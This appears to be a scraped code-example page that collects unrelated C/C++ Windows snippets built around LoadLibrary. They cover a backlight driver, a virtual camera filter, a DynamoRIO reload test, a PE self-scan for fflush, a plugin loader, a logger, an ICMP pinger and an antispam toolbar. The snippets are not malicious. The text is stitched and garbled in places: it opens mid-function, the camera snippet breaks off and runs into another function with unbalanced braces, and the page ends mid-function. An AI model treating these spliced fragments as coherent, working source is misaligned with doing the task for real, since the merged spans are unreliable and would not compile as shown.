        DEBUGMSG(ZONE_ERROR, (TEXT("BLK_Init: OpenDeviceKey failed with %u\r\n"), dwStatus));
        goto error;
    }

    pBKLinfo->hCoreDll = LoadLibrary(TEXT("coredll.dll"));
    if (NULL != pBKLinfo->hCoreDll) 
    {
        pBKLinfo->pfnGetSystemPowerStatusEx2 = (PFN_GetSystemPowerStatusEx2)
            GetProcAddress(pBKLinfo->hCoreDll, TEXT("GetSystemPowerStatusEx2"));
        if (!pBKLinfo->pfnGetSystemPowerStatusEx2) 
        {
            DEBUGMSG(ZONE_WARN,  (TEXT("GetProcAddress failed for GetSystemPowerStatusEx2. Assuming always on AC power.\r\n")));
        }
    }

//MYS     pBKLinfo->dwPddContext = BacklightInit(pContext, lpvBusContext, &(pBKLinfo->dwCurState));
    if (g_pBacklight->Initialize(pContext) == FALSE)
        {
        DEBUGMSG(ZONE_ERROR, (L"ERROR: BKL_Init: "
            L"Failed to initialize backlight object\r\n"
            ));
        goto error;
        }
    
    // if there are no user settings for this, we act as if they are selected:
    pBKLinfo->fBatteryTapOn = TRUE;
    pBKLinfo->fExternalTapOn = TRUE;

    // in case there is no setting for this:
    pBKLinfo->dwBattTimeout = 0;
    pBKLinfo->dwACTimeout = 0;

    pBKLinfo->dwCurState = D0;
    g_pBacklight->SetPowerState(pBKLinfo->dwCurState);
 
    //create thread to wait for reg / power source changes:
    pBKLinfo->hBklThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)fnBackLightThread, pBKLinfo, 0, NULL);
    if(NULL == pBKLinfo->hBklThread)
    {
        DEBUGMSG(ZONE_ERROR, (TEXT("BLK_Init: OpenDeviceKey failed with %u\r\n"), dwStatus));
        goto error;
    }

    DEBUGMSG(ZONE_BACKLIGHT, (TEXT("-BKL_Init().\r\n")));

    return (DWORD) pBKLinfo;

error:
    if(hkDevice)
    {
        RegCloseKey(hkDevice);
    }

    FreeContext(pBKLinfo);    

    return 0;

}
Ejemplo n.º 15
0
static void *
dlopen (const char *file, int mode ATTRIBUTE_UNUSED)
{
    return LoadLibrary (file);
}
Ejemplo n.º 16
0

//////////////////////////////////////////////////////////////////////////
//  This is the routine where we create the data being output by the Virtual
//  Camera device.
//////////////////////////////////////////////////////////////////////////
bool badRes = false;
bool badServer = false;
HANDLE fileHandle = NULL;
void* file;
int frameWidth = 640;
int frameHeight = 480;
int fileSize = (1280 * 1024 * 3) + 3;
int serverDown = 0;

HMODULE thisLibrary = LoadLibrary(L"NiVirtualCamFilter.dll");
HRSRC errorBitmapInfo = FindResource(thisLibrary, MAKEINTRESOURCE(4), MAKEINTRESOURCE(10));
int errorBitmapSize = SizeofResource(thisLibrary, errorBitmapInfo);
HGLOBAL errorBitmap = LoadResource(thisLibrary, errorBitmapInfo);
void* errorBitmapData = LockResource(errorBitmap);
bool errorBitmapLoaded = errorBitmapSize > 0;
HRESULT CKCamStream::FillBuffer(IMediaSample *pms)
{
	// Init setting object
	if (fileHandle == NULL){
		fileHandle = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, L"OpenNiVirtualCamFrameData");
		if (fileHandle == NULL){
			//fileHandle = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, FILE_MAP_ALL_ACCESS, 0, fileSize, L"OpenNiVirtualCamFrameData");
			if (fileHandle == NULL && !badServer){
				badServer = true;
                MessageBox(NULL, L"Can not connect to the Server; please make sure that NiVirtualCam Controller Application is running. We keep trying until you open it.", L"Connection failed", MB_ICONWARNING);
/**
@brief Loads a dll library on the Windows OS
*/
inline handle
open(std::string const& file_name)
{
    return LoadLibrary(file_name.c_str());
}
Ejemplo n.º 18
0
int main(int argc, char** argv)
{
    HANDLE lib;
    HANDLE event;
    ULONG_PTR hThread;
    int reloaded = 0;

    USE_USER32();

#ifdef USE_DYNAMO
    dynamorio_app_init();
    dynamorio_app_start();
#endif

#ifdef LINUX
    /* though win32/ */
    intercept_signal(SIGSEGV, signal_handler);
#else
    /* note that can't normally if we have a debugger attached this
     * will not get this executed */
    SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER) our_top_handler);
#endif

    event = CreateEvent(NULL, TRUE, FALSE, NULL);
    hThread = _beginthreadex(NULL, 0, run_func, event, 0, NULL);

    /* need to run as long as necessary to hit the required faults */
    while (transitions < NUM_TRANSITIONS) {
        lib = LoadLibrary("win32.reload-race.dll.dll");
        if (lib == NULL) {
            print("error loading library\n");
            break;
        } else {
            reloaded++;
#if VERBOSE
    print("reloaded %d times %d\n", reloaded);
#endif
            import1 = (funptr)
                GetProcAddress(lib, (LPCSTR)"import_me1");
            import2 = (funptr)
                GetProcAddress(lib, (LPCSTR)"import_me2");
            /* may want to explicitly sleep here but that may be slower */
            if (reloaded % 2 == 0)
                YIELD();
            FreeLibrary(lib);
            if (reloaded % 3 == 0)
                YIELD();
        }
    }

    SetEvent(event);
    WaitForSingleObject((HANDLE)hThread, INFINITE);
    print("main loop done\n");
    check_mem_usage();
#if VERBOSE
    print("reloaded %d times %d\n", reloaded);
#endif


#ifdef USE_DYNAMO
    dynamorio_app_stop();
    dynamorio_app_exit();
#endif
    return 0;
}
Ejemplo n.º 19
0
errno_t SearchFlush2(flush_t* f)
{
	unsigned char* pos = NULL;

	char filename[MAX_PATH] = {0};
	HMODULE base = GetModuleHandle( NULL );

	HMODULE psapi = LoadLibrary("psapi.dll");
	if (psapi == NULL)
		return -1;
	_GetModuleFileNameExA GetModuleFileNameEx_ = 
		(_GetModuleFileNameExA)GetProcAddress(psapi, "GetModuleFileNameExA");

	GetModuleFileNameEx_( GetCurrentProcess(), base, filename, sizeof( filename ) );

	MAPPED_FILE view = {0};
	if( !map_file( filename, &view) ) {
		return errno;
	}

	int pe = pe_open((const char*)view.data, view.size);
	if (pe == INVALID_PE) {
		unmap_file(&view);
		return errno;
	}
 
	/*	
			_fflush         proc near
	.text:0040772E
	.text:0040772E                   File            = dword ptr  4
	.text:0040772E
	.text:0040772E 56                                push    esi
	.text:0040772F 8B 74 24 08                       mov     esi, [esp+4+File]
	.text:00407733 85 F6                             test    esi, esi
	.text:00407735 75 09                             jnz     short loc_407740
	.text:00407737 56                                push    esi
	.text:00407738 E8 B3 00 00 00                    call    _flsall
	.text:0040773D 59                                pop     ecx
	.text:0040773E 5E                                pop     esi
	.text:0040773F C3                                retn
	.text:00407740                   ; ---------------------------------------------------------------------------
	.text:00407740
	.text:00407740                   loc_407740:                             ; CODE XREF: _fflush+7j
	.text:00407740 57                                push    edi
	.text:00407741 56                                push    esi
	.text:00407742 E8 44 EA FF FF                    call    __lock_file
	.text:00407747 56                                push    esi
	.text:00407748 E8 10 00 00 00                    call    __fflush_lk
	.text:0040774D 56                                push    esi
	.text:0040774E 8B F8                             mov     edi, eax
	.text:00407750 E8 88 EA FF FF                    call    __unlock_file
	.text:00407755 83 C4 0C                          add     esp, 0Ch
	.text:00407758 8B C7                             mov     eax, edi
	.text:0040775A 5F                                pop     edi
	.text:0040775B 5E                                pop     esi
	.text:0040775C C3                                retn
	.text:0040775C                   _fflush         endp
	*/
	unsigned char taget_fflush_1[] = { 0x56, 0x8B, 0x74, 0x24, 0x08, 0x85, 0xF6, 0x75, 0x09, 0x56, 0xE8 };

	char* start = (char*)view.data;
	while( start < ((char*) view.data + view.size ) ) {
		start = (char*)memstr( (const char*)start, view.size - (start - (char*)view.data ), 
			(const char*)taget_fflush_1, sizeof( taget_fflush_1 ) );
		if( start == NULL ) {
			break;
		}

		unsigned char target_fflush_2[] = { 0x59, 0x5E, 0xC3, 0x57, 0x56, 0xE8 };
		unsigned char target_fflush_3[] = { 0x56, 0x8B, 0xF8, 0xE8 };
		if( 0 == memcmp( start + 0xF, target_fflush_2, sizeof( target_fflush_2 ))
			&& 0 == memcmp( start + 0x1F, target_fflush_3, sizeof( target_fflush_3 ))) {
				//找到了
				break;
		}

		start += sizeof( taget_fflush_1 );
	}

	if( start == NULL ) {
		f->addr_iob = 0;
		f->fflush = NULL;
		pe_close(pe);
		unmap_file(&view);
		return errno;
	}

	//将物理地址转换成虚拟地址
	f->fflush = (_fflush_)(raw_to_rva(pe, (uint32_t)(start - (char*)view.data)));
	if( (ULONG)f->fflush == INVALID_RVA) {
		f->addr_iob = 0;
		f->fflush = NULL;
		pe_close(pe);
		unmap_file( &view );
		return errno;
	}
	/*
			__lock_file     proc near               ; CODE XREF: _fclose+16p
	.text:0040618B                                                           ; sub_404D03+8p ...
	.text:0040618B
	.text:0040618B                   arg_0           = dword ptr  4
	.text:0040618B
	.text:0040618B 8B 44 24 04                       mov     eax, [esp+arg_0]
	.text:0040618F B9 80 49 41 00                    mov     ecx, __iob
	.text:00406194 3B C1                             cmp     eax, ecx
	.text:00406196 72 17                             jb      short loc_4061AF
	.text:00406198 3D E0 4B 41 00                    cmp     eax, offset unk_414BE0
	.text:0040619D 77 10                             ja      short loc_4061AF
	.text:0040619F 2B C1                             sub     eax, ecx
	.text:004061A1 C1 F8 05                          sar     eax, 5
	.text:004061A4 83 C0 1C                          add     eax, 1Ch
	.text:004061A7 50                                push    eax
	.text:004061A8 E8 B9 F4 FF FF                    call    __lock
	.text:004061AD 59                                pop     ecx
	.text:004061AE C3                                retn
	.text:004061AF                   ; ---------------------------------------------------------------------------
	.text:004061AF
	.text:004061AF                   loc_4061AF:                             ; CODE XREF: __lock_file+Bj
	.text:004061AF                                                           ; __lock_file+12j
	.text:004061AF 83 C0 20                          add     eax, 20h
	.text:004061B2 50                                push    eax             ; lpCriticalSection
	.text:004061B3 FF 15 78 10 41 00                 call    ds:EnterCriticalSection
	.text:004061B9 C3                                retn
	.text:004061B9                   __lock_file     endp
	*/
	unsigned char target[] = { 0x77, 0x10, 0x2B, 0xC1, 0xC1, 0xF8, 0x05, 0x83, 0xC0, 0x1C, 0x50, 0xE8 };
	//unsigned char target2[] = { 0x59, 0xC3, 0x83, 0xC0, 0x20, 0x50, 0xFF, 0x15 };
	pos = (uint8_t*)memstr((const char*)view.data, view.size, 
					(const char*)target, sizeof(target));
	//if( 0 == memcmp( pos + 0x10, target2, sizeof( target2 ) )) {
	//	//找到了
	//	break;
	//}
	pos -= 0xD;
	f->addr_iob = *( unsigned long*)pos;
	pe_close(pe);
	unmap_file( &view );
	return true;

}
Ejemplo n.º 20
0
/*! \internal
  \brief Initialize a module

  \a m is not in the linked list yet.

  \note Should only be called from the context of the registrar thread. */
void kmmint_init_module(kmm_module_i * m) {
    HMODULE hm;
    init_module_t p_init_module;
    kmm_plugin_i * pi;
    khm_int32 rv;
    khm_handle csp_mod = NULL;
    khm_handle csp_mods = NULL;
    khm_size sz;
    khm_int32 i;

    /* error condition handling */
    BOOL exit_module = FALSE;
    BOOL release_module = TRUE;
    BOOL record_failure = FALSE;

    /* failure handling */
    khm_int32 max_fail_count = 0;
    khm_int64 fail_reset_time = 0;

    _begin_task(0);
    _report_mr1(KHERR_NONE, MSG_INIT_MODULE, _cstr(m->name));
    _describe();

    kmm_hold_module(kmm_handle_from_module(m));

    /* If the module is not in the pre-init state, we can't
       initialize it. */
    if(m->state != KMM_MODULE_STATE_PREINIT) {
        _report_mr1(KHERR_INFO, MSG_IM_NOT_PREINIT, _int32(m->state));
        goto _exit;
    }

    if(KHM_FAILED(kmm_get_modules_config(0, &csp_mods))) {
        _report_mr0(KHERR_ERROR, MSG_IM_GET_CONFIG);
        _location(L"kmm_get_modules_config()");

        m->state = KMM_MODULE_STATE_FAIL_UNKNOWN;
        goto _exit;
    }

    khc_read_int32(csp_mods, L"ModuleMaxFailureCount", &max_fail_count);
    khc_read_int64(csp_mods, L"ModuleFailureCountResetTime", &fail_reset_time);

    if(KHM_FAILED(kmm_get_module_config(m->name, 0, &csp_mod))) {
        _report_mr0(KHERR_ERROR, MSG_IM_NOT_REGISTERED);

        m->state = KMM_MODULE_STATE_FAIL_NOT_REGISTERED;
        goto _exit;
    }

    if(KHM_SUCCEEDED(khc_read_int32(csp_mod, L"Disabled", &i)) && i) {
        _report_mr0(KHERR_INFO, MSG_IM_DISABLED);

        m->state = KMM_MODULE_STATE_FAIL_DISABLED;
        goto _exit;
    }

    if(KHM_SUCCEEDED(khc_read_int32(csp_mod, L"NoUnload", &i)) && i) {
        m->flags |= KMM_MODULE_FLAG_NOUNLOAD;
    }

    if(KHM_SUCCEEDED(khc_read_int32(csp_mod, L"FailureCount", &i))) {
        khm_int64 tm;
        khm_int64 ct;
        FILETIME fct;
        khm_int32 last_reason = 0;

        /* reset the failure count if the failure count reset time
           period has elapsed */
        tm = 0;
        khc_read_int64(csp_mod, L"FailureTime", &tm);
        GetSystemTimeAsFileTime(&fct);

        ct = (FtToInt(&fct) - tm) / 10000000i64;

        if(tm > 0 && 
           ct > fail_reset_time) {
            i = 0;
            khc_write_int32(csp_mod, L"FailureCount", 0);
            khc_write_int64(csp_mod, L"FailureTime", 0);
        }

        khc_read_int32(csp_mod, L"FailureReason", &last_reason);

        /* did we exceed the max failure count?  However, we ignore
           the max failure count if the reason why it didn't load the
           last time was because the module wasn't found. */
        if(i > max_fail_count && 
           last_reason != KMM_MODULE_STATE_FAIL_NOT_FOUND) {
            /* failed too many times */
            _report_mr0(KHERR_INFO, MSG_IM_MAX_FAIL);

            m->state = KMM_MODULE_STATE_FAIL_MAX_FAILURE;
            goto _exit;
        }
    }

    if(khc_read_string(csp_mod, KMM_VALNAME_IMAGEPATH, NULL, &sz) == 
       KHM_ERROR_TOO_LONG) {
        if(m->path)
            PFREE(m->path);
        m->path = PMALLOC(sz);
        khc_read_string(csp_mod, KMM_VALNAME_IMAGEPATH, m->path, &sz);
    } else {
	/* 
	 * If there is no image path, then the module has not been 
	 * installed.  Do not report an error and bother the user.
	 *   _report_mr0(KHERR_ERROR, MSG_IM_NOT_REGISTERED);
	 */

        m->state = KMM_MODULE_STATE_FAIL_NOT_REGISTERED;
        goto _exit;
    }

    rv = kmmint_read_module_info(m);

    if (KHM_FAILED(rv)) {
        if (rv == KHM_ERROR_INCOMPATIBLE) {
            _report_mr0(KHERR_ERROR, MSG_IM_INCOMPATIBLE);

            m->state = KMM_MODULE_STATE_FAIL_INCOMPAT;
        } else if (rv == KHM_ERROR_NOT_FOUND) {
            _report_mr1(KHERR_ERROR, MSG_IM_NOT_FOUND, _dupstr(m->path));

            m->state = KMM_MODULE_STATE_FAIL_NOT_FOUND;
        } else {
            _report_mr0(KHERR_ERROR, MSG_IM_INVALID_MODULE);

            m->state = KMM_MODULE_STATE_FAIL_INV_MODULE;
        }
        goto _exit;
    }

    /* check again */
    if(m->state != KMM_MODULE_STATE_PREINIT) {
        _report_mr0(KHERR_ERROR, MSG_IM_NOT_PREINIT);

        goto _exit;
    }

    /* from this point on, we must record any failure codes */
    record_failure = TRUE;

    hm = LoadLibrary(m->path);
    if(!hm) {
        m->h_module = NULL;
        m->state = KMM_MODULE_STATE_FAIL_NOT_FOUND;

        _report_mr1(KHERR_ERROR, MSG_IM_NOT_FOUND, _dupstr(m->path));

        goto _exit;
    }

    /* from this point on, we need to discard the module through
       exit_module */
    ResetEvent(evt_exit);

    kmm_active_modules++;

    release_module = FALSE;
    exit_module = TRUE;

    m->flags |= KMM_MODULE_FLAG_LOADED;
    m->h_module = hm;

    /* TODO: check signatures */

    p_init_module = (init_module_t) GetProcAddress(hm, EXP_INIT_MODULE);

    if(!p_init_module) {
        _report_mr1(KHERR_ERROR, MSG_IM_NO_ENTRY, _cstr(EXP_INIT_MODULE));

        m->state = KMM_MODULE_STATE_FAIL_INVALID;
        goto _exit;
    }

    m->state = KMM_MODULE_STATE_INIT;

    /* call init_module() */
    rv = (*p_init_module)(kmm_handle_from_module(m));

    m->flags |= KMM_MODULE_FLAG_INITP;

    if(KHM_FAILED(rv)) {
        _report_mr1(KHERR_ERROR, MSG_IM_INIT_FAIL, _int32(rv));

        m->state = KMM_MODULE_STATE_FAIL_LOAD;
        goto _exit;
    }

    if(!m->plugins) {
        _report_mr0(KHERR_ERROR, MSG_IM_NO_PLUGINS);

        m->state = KMM_MODULE_STATE_FAIL_NO_PLUGINS;
        record_failure = FALSE;
        goto _exit;
    }

    m->state = KMM_MODULE_STATE_INITPLUG;

    do {
        LPOP(&(m->plugins), &pi);
        if(pi) {
            pi->flags &= ~KMM_PLUGIN_FLAG_IN_MODLIST;
            kmmint_init_plugin(pi);

            /* release the hold obtained in kmm_provide_plugin() */
            kmm_release_plugin(kmm_handle_from_plugin(pi));
        }
    } while(pi);

    if(!m->plugin_count) {
        /* We don't want to report this case.  This usually means that
           the plugins that were provided by the module were
           disabled. */
#ifdef REPORT_EMPTY_MODULES
        _report_mr0(KHERR_ERROR, MSG_IM_NO_PLUGINS);

        m->state = KMM_MODULE_STATE_FAIL_NO_PLUGINS;
#endif
        record_failure = FALSE;
        goto _exit;
    }

    m->state = KMM_MODULE_STATE_RUNNING;

    exit_module = FALSE;
    record_failure = FALSE;

 _exit:
    if(csp_mod) {
        if(record_failure) {
            FILETIME fct;

            i = 0;
            khc_read_int32(csp_mod, L"FailureCount", &i);
            i++;
            khc_write_int32(csp_mod, L"FailureCount", i);

            if(i==1) { /* first fault */
                GetSystemTimeAsFileTime(&fct);
                khc_write_int64(csp_mod, L"FailureTime", FtToInt(&fct));
            }

            khc_write_int32(csp_mod, L"FailureReason", m->state);
        }
        khc_close_space(csp_mod);
    }

    if(csp_mods)
        khc_close_space(csp_mods);

    _report_mr2(KHERR_INFO, MSG_IM_MOD_STATE, 
                _dupstr(m->name), _int32(m->state));

    kmmint_remove_from_module_queue();

    /* if something went wrong after init_module was called on the
       module code, we need to call exit_module */
    if(exit_module)
        kmmint_exit_module(m);

    if(release_module)
        kmm_release_module(kmm_handle_from_module(m));

    if (kherr_is_error()) {
        kherr_context * c;
        kherr_event * err_e = NULL;
        kherr_event * warn_e = NULL;
        kherr_event * e;

        c = kherr_peek_context();
        err_e = kherr_get_err_event(c);
        for(e = kherr_get_first_event(c);
            e;
            e = kherr_get_next_event(e)) {
            if (e != err_e &&
                e->severity == KHERR_WARNING) {
                warn_e = e;
                break;
            }
        }

        kherr_evaluate_event(err_e);
        if (warn_e)
            kherr_evaluate_event(warn_e);

        kherr_clear_error();

        e = kherr_report(KHERR_ERROR,
                         (wchar_t *) MSG_IMERR_TITLE,
                         KHERR_FACILITY,
                         NULL,
                         err_e->long_desc,
                         ((warn_e)? (wchar_t *)MSG_IMERR_SUGGEST: NULL),
                         KHERR_FACILITY_ID,
                         KHERR_SUGGEST_NONE,
                         _cstr(m->name),
                         ((warn_e)? _cstr(warn_e->long_desc):_vnull()),
                         _vnull(),_vnull(),
                         KHERR_RF_MSG_SHORT_DESC |
                         ((warn_e)? KHERR_RF_MSG_SUGGEST: 0),
                         KHERR_HMODULE);

        kherr_evaluate_event(e);

        kherr_release_context(c);
    }

    _end_task();
}
Ejemplo n.º 21
0
static void winmm_init() {
    if (lib_winmm == NULL) {
        lib_winmm = LoadLibrary("winmm.dll");
        s_time_get_time = (TIMEGETTIME_T)GetProcAddress(lib_winmm, "timeGetTime");
    }
}
Ejemplo n.º 22
0
/*
This function will be used by writers and readers to initialize MMF or File-based log file
returns (LHANDLE)-1 on error
dwTimeout to use for all synchronizations waits
*/
GLHANDLE GLStartLogging(LPCTSTR log_name, DWORD dwLogSize, DWORD dwTimeout, BOOL bUseMMF)
{
	glogger_t * logger = NULL;
	_TCHAR buf[MAX_PATH];
	logger = (glogger_t*)malloc(sizeof(glogger_t));

	if (logger == NULL) {
		return (GLHANDLE)-1;
	}
	logger->can_read_sem = NULL;
	logger->can_write_sem = NULL;
	logger->discard_last_write = false;
	logger->file_mtx = NULL;
	logger->file_mtx_owned = false;
	logger->num_of_entries = dwLogSize;
	logger->timeout = dwTimeout;
	logger->specific_logger = NULL;
	logger->dll = NULL;
	logger->dll_StartLogging = NULL;
	logger->dll_GetLogWaitObject = NULL;
	logger->dll_StopLogging = NULL;
	logger->dll_PopLogEntry = NULL;
	logger->dll_WriteLogEntry = NULL;

	//
	// load DLL and functions
	//
	if (bUseMMF) {
		logger->dll = LoadLibrary(_T("mmf_log.dll"));
	}
	else {
		logger->dll = LoadLibrary(_T("file_log.dll"));
	}
	if (logger->dll == NULL) {
		goto cleanup;
	}
	logger->dll_StartLogging = (StartLogging_t)GetProcAddress(logger->dll, "StartLogging");
	if (logger->dll_StartLogging == NULL) {
		goto cleanup;
	}
	logger->dll_GetLogWaitObject = (GetLogWaitObject_t)GetProcAddress(logger->dll, "GetLogWaitObject");
	if (logger->dll_GetLogWaitObject == NULL) {
		goto cleanup;
	}
	logger->dll_StopLogging = (StopLogging_t)GetProcAddress(logger->dll, "StopLogging");
	if (logger->dll_StopLogging == NULL) {
		goto cleanup;
	}
	logger->dll_PopLogEntry = (PopLogEntry_t)GetProcAddress(logger->dll, "PopLogEntry");
	if (logger->dll_PopLogEntry == NULL) {
		goto cleanup;
	}
	logger->dll_WriteLogEntry = (WriteLogEntry_t)GetProcAddress(logger->dll, "WriteLogEntry");
	if (logger->dll_WriteLogEntry == NULL) {
		goto cleanup;
	}

	//
	// create semaphores, etc.
	//
	make_obj_name(buf, _T("tomerfiliba.ex4.readsem-"), log_name);
	logger->can_read_sem = CreateSemaphore(NULL, 0, dwLogSize, buf);
	if (logger->can_read_sem == NULL) {
		//print_last_error(_T("CreateSemaphore 1"));
		goto cleanup;
	}

	make_obj_name(buf, _T("tomerfiliba.ex4.writesem-"), log_name);
	logger->can_write_sem = CreateSemaphore(NULL, dwLogSize, dwLogSize, buf);
	if (logger->can_write_sem == NULL) {
		//print_last_error(_T("CreateSemaphore 2"));
		goto cleanup;
	}

	make_obj_name(buf, _T("tomerfiliba.ex4.fielmtx-"), log_name);
	logger->file_mtx = CreateMutex(NULL, FALSE, buf);
	if (logger->file_mtx == NULL) {
		//print_last_error(_T("CreateMutex"));
		goto cleanup;
	}

	logger->specific_logger = logger->dll_StartLogging(log_name, dwLogSize, dwTimeout);
	if (logger->specific_logger == (LHANDLE)-1) {
		goto cleanup;
	}

	return logger;

cleanup:
	GLStopLogging(logger);
	return (GLHANDLE)-1;
}
Ejemplo n.º 23
0
Pinger::Pinger() {
    // udp start
    sockaddr_in sa;     // for UDP and raw sockets

    // ICMP must accept all responses
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = INADDR_ANY;	
    sa.sin_port = 0;

    udpStarted = false;
    // attempt to initialize raw ICMP socket
    is = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (is != INVALID_SOCKET) {
        int nRet = bind(is, (sockaddr *)&sa, sizeof(sa));
        if (nRet==SOCKET_ERROR) { 
            nRet = WSAGetLastError();
            closesocket(is);        // ignore return value - error close anyway
        } else {
            // attempt to initialize ordinal UDP socket - why should this fail???
            // NB! no need to bind this at a moment - will be bound later, implicitly at sendto
            us = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
            if (us == INVALID_SOCKET) {
                closesocket(is);            // ignore return value - we need to close it anyway!
            } else {
                udpStarted = true;
            }
        }
    }
    // udp end
 
    // Open ICMP.DLL
    hICMP_DLL = LoadLibrary(_T("ICMP.DLL"));
    if (hICMP_DLL == 0) {
        theApp.QueueDebugLogLine(false,_T("Pinger: LoadLibrary() failed: Unable to locate ICMP.DLL!"));
        return;
    }

    // Get pointers to ICMP.DLL functions
    lpfnIcmpCreateFile  = (IcmpCreateFile*)GetProcAddress(hICMP_DLL,"IcmpCreateFile");
    lpfnIcmpCloseHandle = (IcmpCloseHandle*)GetProcAddress(hICMP_DLL,"IcmpCloseHandle");
    lpfnIcmpSendEcho    = (IcmpSendEcho*)GetProcAddress(hICMP_DLL,"IcmpSendEcho");
    if ((!lpfnIcmpCreateFile) || 
        (!lpfnIcmpCloseHandle) || 
        (!lpfnIcmpSendEcho)) {

        theApp.QueueDebugLogLine(false,_T("Pinger: GetProcAddr() failed for at least one function."));
        return;
    }

    // Open the ping service
    hICMP = (HANDLE) lpfnIcmpCreateFile();
    if (hICMP == INVALID_HANDLE_VALUE) {
        int nErr = GetLastError();
        theApp.QueueDebugLogLine(false, _T("Pinger: IcmpCreateFile() failed, err: %u"), nErr);
        PIcmpErr(nErr);
        return;
    }

    // Init IPInfo structure
    stIPInfo.Tos      = 0;
    stIPInfo.Flags    = 0;
    stIPInfo.OptionsSize = 0;
    stIPInfo.OptionsData = NULL;
}
Ejemplo n.º 24
0
/* Get the full path of the process running in iProcessID.  On error, false is
 * returned and an error message is placed in sName. */
bool GetProcessFileName( uint32_t iProcessID, CString &sName )
{
	/* This method works in everything except for NT4, and only uses kernel32.lib functions. */
	do {
		HANDLE hSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, iProcessID );
		if( hSnap == NULL )
		{
			sName = werr_ssprintf( GetLastError(), "OpenProcess" );
			break;
		}

		MODULEENTRY32 me;
		ZERO( me );
		me.dwSize = sizeof(MODULEENTRY32);
		bool bRet = !!Module32First( hSnap, &me );
		CloseHandle( hSnap );

		if( bRet )
		{
			sName = me.szExePath;
			return true;
		}

		sName = werr_ssprintf( GetLastError(), "Module32First" );
	} while(0);

	/* This method only works in NT/2K/XP. */
	do {
		static HINSTANCE hPSApi = NULL;
	    typedef DWORD (WINAPI* pfnGetModuleFileNameEx)(HANDLE,HMODULE,LPSTR,DWORD);
		static pfnGetModuleFileNameEx pGetModuleFileNameEx = NULL;
		static bool bTried = false;

		if( !bTried )
		{
			bTried = true;

			hPSApi = LoadLibrary("psapi.dll");
			if( hPSApi == NULL )
			{
				sName = werr_ssprintf( GetLastError(), "LoadLibrary" );
				break;
			}
			else
			{
				pGetModuleFileNameEx = (pfnGetModuleFileNameEx) GetProcAddress( hPSApi, "GetModuleFileNameExA" );
				if( pGetModuleFileNameEx == NULL )
				{
					sName = werr_ssprintf( GetLastError(), "GetProcAddress" );
					break;
				}
			}
		}

		if( pGetModuleFileNameEx != NULL )
		{
			HANDLE hProc = OpenProcess( PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, NULL, iProcessID );
			if( hProc == NULL )
			{
				sName = werr_ssprintf( GetLastError(), "OpenProcess" );
				break;
			}

			char buf[1024];
			int iRet = pGetModuleFileNameEx( hProc, NULL, buf, 1024 );
			CloseHandle( hProc );

			if( iRet )
			{
				buf[iRet] = 0;
				sName = buf;
				return true;
			}

			sName = werr_ssprintf( GetLastError(), "GetModuleFileNameEx" );
		}
	} while(0);

	return false;
}
Ejemplo n.º 25
0
bool _FillToolbar(HWND hToolbar)
{
	if (!hToolbar)
		return false;

	//   There is an incompatibility with PGP Desktop 9 (maybe with other versions too),
	// which has its own OE-plugin. When our toolbar has an imagelist, 
	// PGP mistakes our toolbar for the OE native toolbar and cannot add its button for some reason.
	// PGP fails to obtain the correct imagelist and hangs in an infinite loop.
	//   To appease the effect of this incompatibility, we don't use imagelists when PGP plugin
	// is detected and use them otherwise.

	CEnsureFreeLibrary hPGP = LoadLibrary(PGPOE_DLL);
	bool bIsPGPpresent = hPGP.IsValid() ? true : false;

    TBBUTTON but;
    ZeroMemory(&but,sizeof(but));
    but.fsState = TBSTATE_ENABLED; 
    but.fsStyle = TBSTYLE_AUTOSIZE | TBSTYLE_BUTTON;
	
	TBADDBITMAP addbmp;
	addbmp.hInst = 0;

	// first button - "Is spam"
	HBITMAP hCoolImg = (HBITMAP) LoadImage(_Module.GetResourceInstance(), MAKEINTRESOURCE(IDB_ISSPAM), IMAGE_BITMAP, 16, 14, LR_DEFAULTCOLOR);
	addbmp.nID = (UINT_PTR) hCoolImg;

	int iImage = bIsPGPpresent ? I_IMAGENONE : (int)SendMessage(hToolbar, TB_ADDBITMAP, (WPARAM) 1, (LPARAM) static_cast<LPTBADDBITMAP>(&addbmp)); 
	but.iBitmap = iImage;
	but.idCommand = ID_ISSPAM;
	but.fsState = 0;
	tstring str;
	std::wstring wstr;
	if(COETricks::m_bVista)
	{
		wstr = _Module.LoadStringW("Report_Body.ReportDetails.antispam.Events.menu", "TrainAsSpamCaption");
		if (wstr.empty())
			wstr = L"Spam";
		but.iString = (INT_PTR)wstr.c_str();
		SendMessage(hToolbar, TB_ADDBUTTONSW, (WPARAM)1, (LPARAM) (LPTBBUTTON)&but); 
	}
	else
	{
		str = _Module.LoadString("Report_Body.ReportDetails.antispam.Events.menu", "TrainAsSpamCaption");
		if (str.size() <= 0)
			str = _T("Spam");
		but.iString = (INT_PTR)str.c_str();
		SendMessage(hToolbar, TB_ADDBUTTONS, (WPARAM)1, (LPARAM) (LPTBBUTTON)&but); 
	}

	// second button - "Is ham"
	hCoolImg = (HBITMAP) LoadImage(_Module.GetResourceInstance(), MAKEINTRESOURCE(IDB_ISNOTSPAM), IMAGE_BITMAP, 16, 14, LR_DEFAULTCOLOR);
	addbmp.nID = (UINT_PTR) hCoolImg;
	iImage = bIsPGPpresent ? I_IMAGENONE : (int)SendMessage(hToolbar, TB_ADDBITMAP, (WPARAM) 1, (LPARAM) static_cast<LPTBADDBITMAP>(&addbmp)); 
	but.iBitmap = iImage;
	but.idCommand = ID_ISNOTSPAM;
	if(COETricks::m_bVista)
	{
		wstr = _Module.LoadStringW("Report_Body.ReportDetails.antispam.Events.menu", "TrainAsHamCaption");
		if (wstr.empty())
			wstr = L"Not spam";
		but.iString = (INT_PTR)wstr.c_str();
		SendMessage(hToolbar, TB_ADDBUTTONSW, (WPARAM)1, (LPARAM) (LPTBBUTTON)&but); 
	}
	else
	{
		str = _Module.LoadString("Report_Body.ReportDetails.antispam.Events.menu", "TrainAsHamCaption");
		if (str.size() <= 0)
			str = _T("Not spam");
		but.iString = (INT_PTR)str.c_str();
		SendMessage(hToolbar, TB_ADDBUTTONS, (WPARAM)1, (LPARAM) (LPTBBUTTON)&but); 
	}

	// third button - "Configure"
